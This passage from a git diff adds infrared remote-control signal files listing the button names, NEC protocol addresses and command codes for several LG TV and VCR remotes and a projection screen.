+type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: QView +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: MarkFav +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: TOpt +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: AVMode +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: QMenu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: Simplink +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: EnergySaving +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AA 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: AB 00 00 00 +# +name: TvRad +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir new file mode 100644 index 000000000..6c1dd210a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 82 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 83 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 89 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 90 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B6 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B8 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir new file mode 100644 index 000000000..3eb1b2a18 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: p/still +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: clear/reset +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: timer-prog +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 3A 00 00 00 +# +name: viss +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: trk- +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: trk+ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: clock/count +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4C 00 00 00 +# +name: tv/av +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 58 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 59 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5D 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5F 00 00 00 +# +name: qview +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 77 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 7D 00 00 00 +# +name: system +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir new file mode 100644 index 000000000..6f4015305 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: review +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: fcr +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: caption +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 39 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: apc +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: autoprg +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: memory/erase +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: wide/zoom +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir new file mode 100644 index 000000000..38b2c5833 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: P/STIIL +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: TRACKING(+) +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: TRACKING(-) +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: OPR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: AF 00 00 00 +# +name: A.REPEAT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir new file mode 100644 index 000000000..8422f24f7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: q.view +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: av-mode +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: q.manu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 60 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: xstudio +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7C 00 00 00 +# +name: simplink +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B0 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B1 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BA 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir new file mode 100644 index 000000000..f09fbaa2c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: X_KEY_INPUTSOURCE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: X_KEY_QUICKVIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: X_KEY_RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: X_KEY_AVMODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: X_KEY_QUICKMENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 61 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 63 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 72 00 00 00 +# +name: X_KEY_XSTUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7C 00 00 00 +# +name: X_KEY_SMPLINK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 8F 00 00 00 +# +name: X_KEY_ENERGYSAVING +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 95 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B0 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B1 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: BA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir new file mode 100644 index 000000000..f7141ff6e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: Operate +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: I(Menu) +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: C.Lock +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 3F 00 00 00 +# +name: VISS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: Hidden3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: LP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: Hidden1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: CL/CT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4C 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 +# +name: A.TRK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5F 00 00 00 +# +name: Hidden2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 74 00 00 00 +# +name: Hidden4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 76 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 82 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 83 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 89 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 90 00 00 00 +# +name: Hidden5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: C2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir new file mode 100644 index 000000000..400090a8d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: EVEN_-_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: ODD_-_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: EVEN_-_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 